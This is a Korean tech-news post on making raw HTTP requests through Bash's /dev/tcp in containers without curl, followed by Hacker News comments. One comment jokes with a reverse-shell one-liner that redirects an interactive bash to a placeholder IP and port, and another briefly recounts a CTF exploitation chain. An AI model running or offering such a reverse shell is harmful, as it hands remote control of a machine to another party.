1P by GN⁺ | ★ favorite | 댓글 1개
  • 최소 컨테이너 이미지에는 curl이나 wget이 빠져 있는 경우가 많아, 패키지 설치 없이 내부 서비스 연결성을 확인할 우회 방법이 유용함
  • Bash의 /dev/tcp/host/port 리다이렉션은 TCP 소켓을 열 수 있어, HTTP/1.1 요청 문자열을 직접 써 보내고 응답을 읽을 수 있음
  • /dev/tcp는 파일시스템 경로가 아니라 Bash 내부 기능이므로 ls /dev/tcp나 다른 셸의 일반 파일 접근 방식으로는 동작하지 않음
  • 이 방법은 리다이렉트, chunked 응답, 압축, 재시도, TLS를 처리하지 않는 간단한 디버깅 기법이며 Connection: close 없이는 cat이 대기할 수 있음
  • 일상적인 HTTP 작업에는 curl이 맞지만, 도구를 추가하기 어려운 작은 컨테이너에서는 빠른 연결 확인에 충분함

Bash 파일 디스크립터로 HTTP 요청 작성하기

  • 내부 Docker 네트워크에서 다른 서비스의 /health 엔드포인트 접근 여부를 확인해야 했지만, 이미지에 curl이나 wget이 없는 상황이었음
  • Bash는 TCP 소켓을 파일 디스크립터에 연결할 수 있어, 다음처럼 HTTP 요청을 직접 작성해 보낼 수 있음
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
  • service는 실행 위치에서 해석되고 도달 가능한 호스트명이어야 함
    • Docker 네트워크에 설정된 컨테이너나 서비스 이름일 수 있음
    • 해석 가능한 DNS 이름도 사용할 수 있음
    • 호스트와 포트는 환경에 맞게 바꿔야 함
  • 응답 출력에는 상태 줄, 헤더, 빈 줄, 본문이 함께 포함됨
  • 헤더를 추가하려면 요청을 끝내는 빈 줄 앞에 \r\n으로 끝나는 줄을 더 넣으면 됨
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3

/dev/tcp가 실제 파일이 아닌 이유

  • /dev/tcp는 실제 장치 파일이 아니라 Bash가 처리하는 리다이렉션
    • 디스크에 해당 경로가 없으므로 ls /dev/tcp는 실패함
    • 다른 셸에서 cat /dev/tcp/...를 실행해도 오류가 남
  • Bash manual에 따르면 /dev/tcp/host/port에서 host가 유효한 호스트명이나 인터넷 주소이고 port가 정수 포트 번호나 서비스 이름이면 Bash가 TCP 소켓 열기를 시도함
  • Bash가 DNS 조회와 connect(2)를 수행하고, exec 3<>는 소켓을 파일 디스크립터 3에 연결해 읽기와 쓰기를 가능하게 함

HTTP 클라이언트 대체재가 아닌 임시 점검 도구

  • 이 방식은 실제 HTTP 클라이언트가 아니어서 리다이렉트, chunked 응답, 압축, 재시도, TLS 등을 처리하지 않음
  • Connection: close 헤더가 중요함
    • 없으면 서버가 HTTP/1.1 기본값에 따라 연결을 유지할 수 있음
    • 이 경우 cat <&3가 EOF를 기다리며 끝나지 않을 수 있음
  • timeout 6 bash -c '...'처럼 감싸면 연결이 닫히지 않는 상황에도 대비할 수 있음
  • /dev/tcp는 원시 소켓을 여는 방식이라 평문 HTTP에만 해당하며, https에는 openssl s_client가 필요함
  • POSIX 기능이 아니라 Bash 기능이므로 Debian의 /bin/shdashzsh에서는 사용할 수 없고, bash를 직접 호출해야 함
  • Bash 빌드 시 --enable-net-redirections로 켜지는 컴파일 타임 옵션임
  • 결론적으로 curl을 대체하는 일반 도구라기보다, 설치를 추가할 수 없는 작은 컨테이너에서 빠르게 연결성을 확인하는 용도에 적합함

댓글과 토론

Hacker News 의견들
  • 90년대 말 어린 시절에 telnet으로 80, 25, 110 포트에 접속해 서버와 직접 대화할 수 있다는 걸 알고 충격받았음
    간단한 GET / HTTP/1.1 요청을 직접 치거나, 25번 포트에서 HELO, mail-from, mail-to로 메일을 보내고, POP3로 우편함 목록과 개별 메시지를 가져올 수 있었음
    이 경험이 “마법은 없다”는 깨달음의 시작이었고, 컴퓨터의 모든 부분은 사람이 만든 것이며 노력하면 어느 수준까지는 이해 가능하다는 걸 알게 됨
    미래에는 대부분이 에이전트에게 맡기겠지만, 모델과 안전장치의 필터 없이 실제 동작을 배우려는 사람에게는 여러 시스템의 흥미로운 구멍이 남을 것 같음

    • DKIM/SPF가 없고 SMTP 서버 인증도 느슨하던 시절에는 jacques.chirac@elysee.fr 같은 주소로 메일을 보내 친구들에게 해커처럼 보일 수 있었음
    • 그때는 DKIM이나 SPF가 없었을 뿐 아니라, 대부분의 SMTP 서버가 누구에게서든 누구에게든 메일을 받아주는 오픈 릴레이였음
    • 결국 전부 텍스트 파일일 뿐임
      구조화된 텍스트 파일을 만들고, 보내고, 읽는 여러 방식 위에 약어가 잔뜩 얹혀 있는 구조였음
      어느 날 데이터베이스조차 텍스트 파일이라는 걸 깨닫고 잠깐 앉아 있어야 했음
    • 지난 세기에는 회사에서 개인 메일을 읽고 보낼 때 각각 telnet으로 POP3와 SMTP에 접속해 처리했음
    • HTTP/2에서는 이런 식으로 할 수 없지만, 다행히 거의 모든 서버가 아직 HTTP/1도 말함
      TLS도 telnet으로는 안 되고, 많은 서버가 HTTP 요청에는 리다이렉트만 돌려줌
      telnet 대신 openssl s_client를 쓰면 TLS 안에 텍스트를 터널링할 수는 있지만 약간 편법처럼 느껴짐
      현대 프로토콜 다수가 바이너리 인코딩을 선호해서 전용 도구 없이는 선 수준에서 만지기 어려워진 것도 아쉬움
      그래도 미래에도 이런 걸 파고드는 사람은 있을 것 같고, 막대기로 불 피우기나 점토 벽돌 굽기처럼 오래된 기술은 재미있고 때로 실제로 유용함
      오히려 AI 덕분에 실험이 쉬워져서, RFC를 뒤지지 않고도 LLM에게 물어보며 예컨대 일반적인 IMAP 명령 대부분을 배울 수 있음
  • zsh에는 Bash의 /dev/tcp와는 별도로 zsh/net/tcpzsh/zftp 모듈이 있음
    https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
    https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
    https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....

  • Plan 9에는 실제 합성 파일 시스템인 /net이 있어서 어떤 프로그램에서도 이런 작업과 그 이상을 할 수 있었음
    다른 머신의 /net을 9P 프로토콜로 마운트하면 즉석 VPN처럼 쓸 수도 있었고, 9front로 Linux에서 실험 가능함
    Go 라이브러리에도 Plan 9식 /net의 흔적이 보이는데, Rob Pike의 유산 같음

  • example.com에는 잘 동작함
    exec 3<>/dev/tcp/example.com/80로 열고 printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3를 보낸 뒤 cat <&3 하면 HTTP/1.1 200 OK가 나옴
    요즘은 HTTPS를 강제하지 않는 도메인이 너무 적어서 이런 테스트를 할 때 결국 example.com으로 가게 됨

    • 공용 WiFi 캡티브 포털이 꼬였을 때도 example.com이 유용함
      브라우저에서 http://example.com으로 가면 캡티브 포털 페이지로 다시 리다이렉트되어 인터넷 접속 절차를 다시 완료할 수 있음
    • printf 안에 실제 줄바꿈을 넣어도 동작함
      \r은 있어야 맞지만, 빼도 동작하긴 함
  • 친구의 컴퓨터와 대화하려면 다들 bash -i >& /dev/tcp/IP/PORT 0>&1를 쓴다는 농담이 가능함

  • Bash가 HTTP를 말하는 게 아니라, TCP 소켓을 열 수 있게 해주는 것
    여기서 하는 일은 직접 HTTP를 말하는 것이고, 테스트나 디버깅용으로는 괜찮고 손으로 해보면 재미있지만, 실제 무인 환경에서 이런 가짜 HTTP 클라이언트를 쓰면 발등을 찍게 됨
    이 장난감 코드는 HTTP를 제대로 파싱하지 못해 깨질 수 있음
    물론 Bash로 완전한 HTTP/1.1 클라이언트를 작성할 수도 있고, 순수 Bash HTTP 서버도 만들 수는 있음: https://github.com/bahamas10/bash-web-server
    덜 미친 선택지로는 보통 nc가 있고, 대개 그쪽이 더 현명함

    • “순수 Bash로 완전한 HTTP 서버”라는 표현은 정확히는 틀림
      Bash는 들어오는 연결을 받기 위해 TCP/UDP 소켓을 리슨할 수 없음
      bash-web-server 프로젝트는 C로 된 소켓 리스너를 빌드하고, 런타임에 “내장” 모듈로 동적 로드해 기능을 제공함
      [0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
    • 지적이 맞고, 글의 표현이 과했으니 더 정확하게 업데이트할 예정임
      nc나 비슷한 netcat 계열 도구가 더 좋은 선택이겠지만, 당시 사용하던 이미지에는 그런 도구가 없었음
    • 그렇게까지 미친 건 아님
      HTTP/1.1과 필수 Host 헤더가 생기기 전부터 손으로 HTTP 요청을 입력해 왔음
      진지한 용도로 쓰는 건 미친 짓이고 Bash로 웹 서버를 구현하는 것도 마찬가지지만, 빠른 테스트용으로는 꽤 좋음
    • 누군가는 순수 Bash Minecraft 서버도 만들었음
      https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
    • Bash용 Rails 비슷한 프레임워크도 있음: https://github.com/jneen/balls
  • Bauhinia 팀이 CTF 문제를 풀 때 이걸 쓰는 걸 보고 배웠음
    여러 단계로 이어지는 CTF였고, 처음에는 ROP 체인으로 system 셸을 얻지만 사실상 Bash 말고는 아무것도 실행할 수 없는 감옥 같은 환경이었음
    쓸 수 있는 건 readcat 정도라서 cat /dev/tcp를 사용한 뒤 이를 가상 터미널로 리다이렉트하고, 그 내용을 읽어 내부 시스템 URL을 얻어 플래그를 찾았음

  • 내부 Docker 네트워크에서 컨테이너 간 연결을 확인하다가, 이미지에 curlwget도 없어서 이 방법을 발견함
    놀라웠던 점은 Bash에 /dev/tcp가 있어서 약간의 셸 마법으로 HTTP 요청 비슷한 걸 만들 수 있다는 것임
    예를 들어 exec 3<>/dev/tcp/service/8642로 열고 printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3를 보낸 뒤 cat <&3 하면 됨
    여기서 service는 접속 대상 호스트명이고 8642는 HTTP로 말해보려는 포트임

    • 멋지긴 한데, 그냥 curl을 지원하는 이미지를 쓰면 안 되는 단점이 있는지 궁금함
      떠오르는 단점이 없고, 운영 이미지에서도 거의 필수라고 봄
  • 예전 Debian과 Debian 파생 배포판에서는 이 기능이 동작하지 않았는데, 가상 파일을 통한 TCP 접근이 기본으로 비활성화되어 있었기 때문임
    이해하기로는 2009년에 입장이 바뀌어 기능이 활성화됐고, Bug #146464에 논의와 링크가 있음
    <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
    셸 도구로 네트워크 기능에 직접 접근하는 방법은 이외에도 curl, wget, Perl의 HEADGET 명령, netcat/nc, socat, telnet 등 여러 가지가 있음

  • 십대 때 다른 사람의 /dev/ptty에 으스스한 메시지를 echo로 보내 놀라게 하던 기억이 남
    내가 보낸 메시지가 상대의 열린 터미널에 마법처럼 나타났음
    컴퓨터실에서 클라이언트마다 다른 계정을 쓰게 해 잠그지 않았던 이유는 아직도 모르겠고, 당시 VAX의 한계였을지도 모름